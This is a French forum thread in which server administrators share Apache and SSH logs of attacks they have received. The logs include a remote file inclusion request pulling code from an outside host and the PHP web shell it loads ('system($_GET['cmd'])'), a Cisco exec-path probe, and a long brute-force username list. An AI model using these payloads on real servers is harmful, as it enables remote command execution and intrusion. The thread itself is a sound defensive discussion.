Attaque de serveur Apache - Page 2

ANNA BOT !!!

tiens, hier soir, 5 nouvelles attaques du type suivant :

    [REDIRECT_REQUEST_METHOD] => GET
    [REDIRECT_STATUS] => 404
    [HTTP_HOST] => hacker.org.ru
    [HTTP_USER_AGENT] => Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
    [HTTP_REFERER] => http://hacker.org.ru/prxjdg.php
    [HTTP_CONNECTION] => Keep-Alive
    [SERVER_NAME] => hacker.org.ru
    [SERVER_ADDR] => 192.168.1.10
    [SERVER_PORT] => 80
    [REMOTE_ADDR] => 60.216.232.19
    [REMOTE_PORT] => 3191
    [REDIRECT_URL] => /prxjdg.php
    [SERVER_PROTOCOL] => HTTP/1.1
    [REQUEST_METHOD] => GET
    [QUERY_STRING] => 
    [SCRIPT_NAME] => /__error.php
    [REQUEST_TIME] => 1173392596

celle la est assez marrante, car le pirate s'est amusé à utiliser un http_host différent du mien et à y associé mon IP (celle que l'on voit ici est celle derriere mon routeur)

on me l'avait jamais faite encore celle la...

et d'ou vient cette attaque cette fois ?

60.216.232.19 is from China(CN) in region Asia

lolo (./32) :
China(CN) in region Asia

j'adore des fois que l'on ne sache pas que la chine est en asie

surement un zombie en chine

Godzil (./33) :

lolo (./32) :
China(CN) in region Asia

j'adore des fois que l'on ne sache pas que la chine est en asie

c'est pas ma faute, c'était un copier/coller rapide de http://www.nwtools.com/:p

lolo (./1) :

[...]

"level/16/exec/-///pwd"

je ne l'avais jamais rencontrée avant... quelqu'un connait cela ? car google, pas trop...

pour info, voici ce que j'ai sauvé comme infos :

[REDIRECT_REQUEST_METHOD] => GET
[REDIRECT_STATUS] => 404
[REMOTE_ADDR] => 90.2.100.42
[REMOTE_PORT] => 2462
[REDIRECT_URL] => /level/16/exec/-///pwd

[...]

merci par avance

Faille Cisco datant de ya tres tres lgtps.
Tu ne crains rien (ou pas).

Oui et non, parce que si on met à jour facilement son ordinateur, on soupçonne beaucoup moins souvent son routeur. J'imagine même pas le nombre de routeurs Cisco qui trainent sans jamais être mis à jour...

faut pas s'inquieter des attaques, si les softs sont à jour, y'a aucun souci.

Tiens, extrait de mon logwatch de hier soir, mais c'est à peu près pareil tous les jours

--------------------- SSHD Begin ------------------------


Failed logins from:
66.68.3.60 (rdc-66-68-3-60.austin.rr.com): 66 times
root/password: 66 times
85.25.20.222 (paris100.server4you.de): 17 times
root/password: 17 times
200.79.231.8 (200.79.231.8.cable.dyn.cableonline.com.mx): 13 times
root/password: 9 times
apache/password: 1 time
ftp/password: 1 time
mysql/password: 1 time
named/password: 1 time
218.189.190.178: 3 times
root/password: 3 times
222.122.157.62: 52 times
root/password: 49 times
apache/password: 1 time
ftp/password: 1 time
mysql/password: 1 time

Illegal users from:
200.79.231.8 (200.79.231.8.cable.dyn.cableonline.com.mx): 43 times
admin/password: 6 times
guest/password: 2 times
test/password: 2 times
administrator/password: 1 time
alias/password: 1 time
core/password: 1 time
cyrus/password: 1 time
david/password: 1 time
ftpuser/password: 1 time
info/password: 1 time
library/password: 1 time
linux/password: 1 time
master/password: 1 time
michael/password: 1 time
newsletter/password: 1 time
office/password: 1 time
oracle/password: 1 time
paul/password: 1 time
pgsql/password: 1 time
postfix/password: 1 time
postgres/password: 1 time
postmaster/password: 1 time
recruit/password: 1 time
sales/password: 1 time
samba/password: 1 time
spam/password: 1 time
staff/password: 1 time
tomcat/password: 1 time
tony/password: 1 time
user/password: 1 time
username/password: 1 time
virus/password: 1 time
visitor/password: 1 time
web/password: 1 time
webadmin/password: 1 time
webmaster/password: 1 time
202.70.32.21 (www.mga.url.mn.32.70.202.in-addr.arpa): 4 times
test/password: 1 time
test1/password: 1 time
test2/password: 1 time
test3/password: 1 time
218.189.190.178: 6 times
admin/password: 2 times
test/password: 2 times
guest/password: 1 time
user/password: 1 time
222.122.157.62: 462 times
admin/password: 8 times
test/password: 6 times
guest/password: 3 times
webmaster/password: 3 times
alessandro/password: 2 times
alessio/password: 2 times
anita/password: 2 times
antonio/password: 2 times
barbara/password: 2 times
daniele/password: 2 times
davide/password: 2 times
fabio/password: 2 times
federico/password: 2 times
gabriele/password: 2 times
giacomo/password: 2 times
giovanni/password: 2 times
giulio/password: 2 times
lavinia/password: 2 times
lorenzo/password: 2 times
luca/password: 2 times
marco/password: 2 times
nicola/password: 2 times
simone/password: 2 times
stefano/password: 2 times
user/password: 2 times
username/password: 2 times
abela/password: 1 time
ada/password: 1 time
adamo/password: 1 time
adele/password: 1 time
adelia/password: 1 time
adine/password: 1 time
administrator/password: 1 time
adriana/password: 1 time
agata/password: 1 time
agnese/password: 1 time
agostina/password: 1 time
agosto/password: 1 time
aida/password: 1 time
albano/password: 1 time
alberto/password: 1 time
albina/password: 1 time
alda/password: 1 time
aleardo/password: 1 time
alessandra/password: 1 time
alessia/password: 1 time
alfio/password: 1 time
alfonsa/password: 1 time
alfonso/password: 1 time
alfred/password: 1 time
alfreda/password: 1 time
alida/password: 1 time
alide/password: 1 time
alihiero/password: 1 time
alina/password: 1 time
alisia/password: 1 time
alma/password: 1 time
aloisa/password: 1 time
alvaro/password: 1 time
alvisio/password: 1 time
amalia/password: 1 time
ambra/password: 1 time
amedeo/password: 1 time
amelia/password: 1 time
amina/password: 1 time
amnuele/password: 1 time
ancleto/password: 1 time
andrea/password: 1 time
andres/password: 1 time
angela/password: 1 time
angelica/password: 1 time
angelina/password: 1 time
angelo/password: 1 time
anna/password: 1 time
annabella/password: 1 time
annamaria/password: 1 time
annibale/password: 1 time
anstasia/password: 1 time
antonia/password: 1 time
antonino/password: 1 time
arduino/password: 1 time
arianna/password: 1 time
aristide/password: 1 time
armando/password: 1 time
armida/password: 1 time
arndaldo/password: 1 time
asia/password: 1 time
assunta/password: 1 time
ave/password: 1 time
azzurra/password: 1 time
beatrice/password: 1 time
beniamino/password: 1 time
benito/password: 1 time
bernardo/password: 1 time
bianca/password: 1 time
blanda/password: 1 time
bosco/password: 1 time
bruna/password: 1 time
caio/password: 1 time
calimero/password: 1 time
camilla/password: 1 time
camillo/password: 1 time
candida/password: 1 time
candido/password: 1 time
carisio/password: 1 time
carla/password: 1 time
carlo/password: 1 time
carmela/password: 1 time
carmelo/password: 1 time
carmen/password: 1 time
carola/password: 1 time
carolina/password: 1 time
cassio/password: 1 time
caterina/password: 1 time
cesare/password: 1 time
chiara/password: 1 time
christian/password: 1 time
cinzia/password: 1 time
cipriano/password: 1 time
ciro/password: 1 time
claudia/password: 1 time
claudio/password: 1 time
clementina/password: 1 time
clio/password: 1 time
clotilde/password: 1 time
colomba/password: 1 time
consuelo/password: 1 time
corinna/password: 1 time
cornelia/password: 1 time
cornelio/password: 1 time
cosimo/password: 1 time
cosma/password: 1 time
costante/password: 1 time
costantino/password: 1 time
costanzo/password: 1 time
cristian/password: 1 time
cristiana/password: 1 time
cristiano/password: 1 time
cristina/password: 1 time
dalia/password: 1 time
damiana/password: 1 time
dania/password: 1 time
daniela/password: 1 time
danilo/password: 1 time
danioo/password: 1 time
dante/password: 1 time
daria/password: 1 time
dario/password: 1 time
db/password: 1 time
dbora/password: 1 time
delma/password: 1 time
delmo/password: 1 time
denis/password: 1 time
diana/password: 1 time
diego/password: 1 time
dimitri/password: 1 time
dina/password: 1 time
dino/password: 1 time
domenico/password: 1 time
dora/password: 1 time
edda/password: 1 time
edilio/password: 1 time
eduardo/password: 1 time
elena/password: 1 time
elga/password: 1 time
elia/password: 1 time
elisa/password: 1 time
elsa/password: 1 time
elvira/password: 1 time
emanuele/password: 1 time
emeli/password: 1 time
emiliano/password: 1 time
emilio/password: 1 time
emma/password: 1 time
ennio/password: 1 time
enrica/password: 1 time
enrico/password: 1 time
enza/password: 1 time
enzo/password: 1 time
eric/password: 1 time
erica/password: 1 time
ermanno/password: 1 time
erminia/password: 1 time
erminio/password: 1 time
ernesta/password: 1 time
ernesto/password: 1 time
eros/password: 1 time
ester/password: 1 time
eva/password: 1 time
evangelista/password: 1 time
ezio/password: 1 time
fabiana/password: 1 time
fabiano/password: 1 time
fabiola/password: 1 time
fabrizia/password: 1 time
fabrizio/password: 1 time
facino/password: 1 time
fantino/password: 1 time
faust/password: 1 time
fausta/password: 1 time
fausto/password: 1 time
fedele/password: 1 time
federica/password: 1 time
felice/password: 1 time
fernando/password: 1 time
fiamma/password: 1 time
filippo/password: 1 time
fiore/password: 1 time
fiorella/password: 1 time
fiorello/password: 1 time
fiorenza/password: 1 time
fiorenzo/password: 1 time
flavia/password: 1 time
flavio/password: 1 time
flora/password: 1 time
floriana/password: 1 time
floris/password: 1 time
fortunata/password: 1 time
fortunato/password: 1 time
francesco/password: 1 time
fulvio/password: 1 time
gabriella/password: 1 time
gemma/password: 1 time
gennaro/password: 1 time
germana/password: 1 time
germania/password: 1 time
giada/password: 1 time
gianna/password: 1 time
gianni/password: 1 time
gilda/password: 1 time
gina/password: 1 time
gioia/password: 1 time
giorgia/password: 1 time
giovanna/password: 1 time
giulia/password: 1 time
giuliana/password: 1 time
giuliano/password: 1 time
giuseppe/password: 1 time
gloria/password: 1 time
guido/password: 1 time
iacopo/password: 1 time
igor/password: 1 time
ilaria/password: 1 time
ilario/password: 1 time
ines/password: 1 time
info/password: 1 time
iolanda/password: 1 time
irene/password: 1 time
iris/password: 1 time
isa/password: 1 time
italia/password: 1 time
iva/password: 1 time
ivan/password: 1 time
jack/password: 1 time
jean/password: 1 time
jessica/password: 1 time
lara/password: 1 time
laura/password: 1 time
lazio/password: 1 time
lea/password: 1 time
leila/password: 1 time
leo/password: 1 time
leonardo/password: 1 time
letizia/password: 1 time
lia/password: 1 time
libera/password: 1 time
libero/password: 1 time
library/password: 1 time
licia/password: 1 time
lidia/password: 1 time
lilla/password: 1 time
lillo/password: 1 time
lina/password: 1 time
linda/password: 1 time
lino/password: 1 time
linux/password: 1 time
livia/password: 1 time
lorena/password: 1 time
luana/password: 1 time
luce/password: 1 time
lucia/password: 1 time
luciana/password: 1 time
luciano/password: 1 time
lucilla/password: 1 time
lucio/password: 1 time
luigi/password: 1 time
luigia/password: 1 time
luisa/password: 1 time
luisella/password: 1 time
maddalena/password: 1 time
maia/password: 1 time
manuela/password: 1 time
mara/password: 1 time
marcello/password: 1 time
maria/password: 1 time
mariano/password: 1 time
marina/password: 1 time
marino/password: 1 time
mario/password: 1 time
marisa/password: 1 time
marta/password: 1 time
martina/password: 1 time
marvin/password: 1 time
marzia/password: 1 time
master/password: 1 time
matteo/password: 1 time
mattia/password: 1 time
mauro/password: 1 time
melania/password: 1 time
merico/password: 1 time
michela/password: 1 time
michele/password: 1 time
mirella/password: 1 time
miriam/password: 1 time
mirko/password: 1 time
morgana/password: 1 time
nadia/password: 1 time
natale/password: 1 time
natalia/password: 1 time
nella/password: 1 time
nereo/password: 1 time
nero/password: 1 time
nino/password: 1 time
noemi/password: 1 time
norma/password: 1 time
ofelia/password: 1 time
olga/password: 1 time
omar/password: 1 time
omero/password: 1 time
oracle/password: 1 time
orazio/password: 1 time
oreste/password: 1 time
oria/password: 1 time
oriana/password: 1 time
ornela/password: 1 time
ornelas/password: 1 time
ornella/password: 1 time
oscar/password: 1 time
ottavia/password: 1 time
ovidio/password: 1 time
pamela/password: 1 time
paola/password: 1 time
paolo/password: 1 time
pasquale/password: 1 time
patrizia/password: 1 time
patrizio/password: 1 time
pepe/password: 1 time
pericle/password: 1 time
piera/password: 1 time
piero/password: 1 time
pietro/password: 1 time
pio/password: 1 time
primo/password: 1 time
pupa/password: 1 time
pupo/password: 1 time
quarto/password: 1 time
rachele/password: 1 time
raffaele/password: 1 time
ramon/password: 1 time
raul/password: 1 time
rebeca/password: 1 time
rebecca/password: 1 time
remo/password: 1 time
renata/password: 1 time
renato/password: 1 time
renzo/password: 1 time
riccardo/password: 1 time
rita/password: 1 time
rocco/password: 1 time
rosa/password: 1 time
rosalia/password: 1 time
rosette/password: 1 time
rossana/password: 1 time
sabina/password: 1 time
sabrina/password: 1 time
salvatore/password: 1 time
salvo/password: 1 time
samuele/password: 1 time
sandra/password: 1 time
santa/password: 1 time
sante/password: 1 time
sara/password: 1 time
saverio/password: 1 time
selene/password: 1 time
serena/password: 1 time
shell/password: 1 time
silvana/password: 1 time
silvano/password: 1 time
silvia/password: 1 time
silvio/password: 1 time
simona/password: 1 time
siro/password: 1 time
sonia/password: 1 time
stefania/password: 1 time
tamara/password: 1 time
teresa/password: 1 time
tito/password: 1 time
tiziana/password: 1 time
tiziano/password: 1 time
tommaso/password: 1 time
ugo/password: 1 time
ulise/password: 1 time
ulisse/password: 1 time
umberto/password: 1 time
unix/password: 1 time
valente/password: 1 time
valentina/password: 1 time
valentino/password: 1 time
valeria/password: 1 time
valerio/password: 1 time
valter/password: 1 time
vanessa/password: 1 time
vera/password: 1 time
veronica/password: 1 time
vincenzo/password: 1 time
viola/password: 1 time
virgilio/password: 1 time
vito/password: 1 time
vivaldo/password: 1 time
viviana/password: 1 time
walter/password: 1 time
wanda/password: 1 time
webadmin/password: 1 time
wilma/password: 1 time

Users logging in through sshd:
squalyl:
192.168.0.12: 1 time

---------------------- SSHD End -------------------------

et des 404 pour chercher des failles:

/horde-3.0.5//README: 2 Time(s)
/horde-3.0.6//README: 2 Time(s)
/horde-3.0.7//README: 2 Time(s)
/horde-3.0.8//README: 2 Time(s)
/horde-3.0.9//README: 2 Time(s)
/horde//README: 2 Time(s)
/horde2//README: 2 Time(s) /horde3//README: 2 Time(s)

joli ta première log
Et oui, si on est à jour, on a moins à s'inquiéter. Simplement, qui met à jour son routeur cisco ?

les gens qui en ont déjà...

perso, j'ai une roue tueuse, féminin, plus flouj toussa...

bon, ben nouvel episode :

j'ai eu hier une 30aine d'attaques du même type, provenant du même pc, du type suivant :

    [REDIRECT_REQUEST_METHOD] => GET
    [REDIRECT_STATUS] => 404
    [HTTP_ACCEPT_ENCODING] => gzip, deflate
    [HTTP_USER_AGENT] => Colonela WebSecure2791
    [HTTP_HOST] => 83.202.117.1
    [HTTP_CONNECTION] => Close
    [SERVER_NAME] => 83.202.117.1
    [SERVER_ADDR] => ***.***.***.***
    [SERVER_PORT] => 80
    [REMOTE_ADDR] => 70.84.102.50
    [SCRIPT_FILENAME] => ***/http/www/__error.php
    [REMOTE_PORT] => 58515
    [REDIRECT_QUERY_STRING] => includePath=http://210.18.229.21/statistic.txt?&/
    [REDIRECT_URL] => /dokeos/claroline/auth/ldap/authldap.php
    [SERVER_PROTOCOL] => HTTP/1.1
    [REQUEST_METHOD] => GET
    [QUERY_STRING] => 
    [SCRIPT_NAME] => /__error.php
    [REQUEST_TIME] => 1176299413

ce qui est marrant, c'est que le fichier utilisé pour l'attaque "http://210.18.229.21/statistic.txt" contient ceci :

<?
system($_GET['cmd']);
die ("Sorry is vuln 2791");
?>

ca peut être méchant ca....

et que http://210.18.229.21/ correspond à un site d'entreprise :

"Business Computing & Networking Specialists

Reliable, Secure and Innovative Internet and Network Computing Technologies for Central Queensland Businesses."

marrant, tu devrais mailer a l'admin de l'entreprise car soit:
- ils se sont fait hacker
- ils ont un employe qui fait ca...
- c'est pas une vraie entreprise (vu le site, ca serait pas etonnant)

lol, c'est ce que j'ai fait direct, mais à partir d'une boite au lettre bidon créé pour l'occasion

adresse bidon certes, mais IP bidon / en tete mail modifiée ?
Non parce que l'ip est dans le mail. Au pire, si il continue, tu gardes les logs au chaud, et zou plainte

adresse mail bidon créé pour l'occas, d'un compte yahoo créé egalement pour l'occas, et d'un pc qui n'est pas le mien, derriere un proxy d'un reseau d'entreprise

donc je pense que ca ira ^^

hum, les proxy des entreprises, c'est pas du tout anonyme.
faudrait que tu passes par un tor la prochaine fois, c'est mieux...